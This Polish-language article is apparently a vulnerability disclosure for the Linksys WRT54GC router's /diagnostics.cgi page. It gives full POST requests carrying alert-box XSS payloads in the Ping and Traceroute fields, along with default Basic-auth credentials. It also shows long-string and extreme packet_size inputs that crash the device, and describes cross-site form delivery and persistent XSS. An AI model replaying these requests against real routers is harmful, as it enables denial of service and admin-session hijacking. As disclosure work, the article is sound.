Linksys WRT54GC
W dzisiejszym artykule przeanalizujemy kilka błędów w popularnym routerze klasy SOHO – Linksys WRT54GC.
Dowiesz się o kilku błędach klasy XSS, DoS oraz Persistent XSS. Testowane oprogramowanie to jeden z najbardziej znanych w środowisku IT routerów – WRT54GC
Błędy związane są z niewłaściwym filtrowaniem danych wejściowych mogą prowadzić do zatrzymania pracy operacyjnej urządzenia (DoS) lub wykonania dowolnego kodu Java Script po stronie użytkownika.
Poniżej znajduje się opis znalezionych podatności:
W zakładce Administration -> Diagnostics ( /diagnostics.cgi ) znajduje się formularz z dwoma polami które służą do wpisania parametrów dla programów diagnostycznych Ping oraz Traceroute.
Pola formularza służące do podania adresu IP lub URL hosta docelowego nie są sprawdzane pod kątem wprowadzanych niedozwolonych/niebezpiecznych znaków. Umożliwia to wstrzyknięcie kodu Java Script i wykonania ataku typu XSS
W /diagnostics.cgi znajdują się dwa główne pola dla parametrów wejściowych – pierwsze dla adresu docelowego żądań ICMP, drugie dla Traceroute.
Obydwa pola mogą służyć do wstrzyknięcia kodu Java Script, z powodu braku filtrowania danych wprowadzanych do formularza. W każdym z tych pól istnieje możliwość wstrzyknięcia dwóch różnych ciągów, powodujących wywołanie kodu w różnych miejscach aplikacji.
Poniżej znajdują się bardziej techniczne opisy znalezionych podatności:
1. Pierwszy błąd spowodowany jest brakiem filtrowania danych wprowadzanych jako parametr dla Ping i umożliwia wykonanie ataku XSS.
“><script>alert(‘Hello World!’);</script>
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
ping_address=%22%3E%3Cscript%3Ealert%28%27Hello+World%21%27%29%3B%3C%2Fscript%3E&packet_size=32\
&ping_times=4&ping=+++++Ping++++++&raceroute_address=&message=ping&MTU=1450
2. Pole Traceroute jest również niezabezpieczone:
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
ping_address=&packet_size=32&ping_times=4&raceroute_address=%22%3E%3Cscript%3Ealert%28%27Hello\
+World%21%27%29%3B%3C%2Fscript%3E&racert=Traceroute&message=ping&TU=1450
3. Pole Traceroute oraz możliwość wykonania ataku XSS innym sposobem niż poprzednio:
</textarea><script>alert(‘Hello World!’);</script>
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
ping_address=1.1.1.1(cached)&packet_size=32&ping_times=4&raceroute_address=%3C%2Ftextarea\
%3E%3Cscript%3Ealert%28%27Hello+World%21%27%29%3B%3C%2Fscript%3E&racert=Traceroute&message\
=tracert&MTU=1450
4. Ta sama podatność występuje przy uruchamianiu komendyPing:
</textarea><script>alert(‘Hello World!’);</script>
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
ping_address=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%27Hello+World%21%27%29%3B%3C%2Fscript\
%3E&packet_size=32&ping_times=4&ping=+++++Ping++++++&raceroute_address=&message\
=ping&MTU=1450
5. Kolejne nieprawidłowości, które zostały wykryte, to Denial of Service
Jako adres IP dla komendy Ping możemy wprowadzić odpowiednio długi ciąg, powodujący odmowę usługi (DoS), np.:
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 245
ping_address=1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.2.1.1.2.1.2.1.2.1.2.
1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.2.1.1.2.1.2.
1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2&packet_size=32&ping_times=4&ping=+++++Ping++++++&raceroute_address\
=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%27Hello+World%21%27%29%3B%3C%2Fscript%3E&message=ping\
&MTU=1450
6. Podobnie możemy wykonać atak DoS wprowadzając odpowiednio długi ciąg dla programu Traceroute:
POST /diagnostics.cgi
…
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
ping_address=&packet_size=32&ping_times=4&
amp;raceroute_address=1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.
2.1.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.
2.1.2.1.2.2.1.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2.1.2&racert=Traceroute&
amp;message=ping&MTU=1450
7. Kolejnym sposobem wykonania ataku DoS jest manipulacja zmienną ‘packet_size’ np.:
packet_size=9999999999999999999999
lub
packet_size=-1
Router przestaje działać operacyjnie.
8. Wszystkie zmienne używane przez oprogramowanie routera przesyłane są jako żądania POST. Wykorzystanie podatności jest znacząco trudniejsze niż w przypadku metody GET.
Jest to jednak możliwe przy wykorzystaniu specjalnie spreparowanej witryny z fałszywym formularzem lub stroną wysyłającą w sposób automatyczny dane metodą POST w trakcie jej odwiedzania przez ‘ofiarę’. Jeśli administrator jest zalogowany do aplikacji routera istnieje możliwość zmiany ustawień urządzenia, zablokowania pracy lub wykonania dowolnego kodu Java Script.
Router Linksys WRT54GC posiada jeszcze jedną zidentyfikowaną nieprawidłowość, znacznie upraszczającą wykonanie ataku XSS z przykładów opisanych w punktach 1-4. Nieprawidłowość ta polega na tym, że ostatnio wprowadzone parametry w polach Ping oraz Traceroute nie są czyszczone do czasu restartu urządzenia lub przeładowania konfiguracji. W ten sposób atakujący może wstrzyknąć dowolny kod Java Script i przy odwiedzeniu przez administratora zakładki z programami diagnostycznymi (/diagnostics.cgi) automatycznie zostanie wykonany kod bez jakiejkolwiek reakcji użytkownika. W tym przypadku mamy do czynienia z atakiem typu Persistent XSS, lub inaczej nazywając Java Script Injection.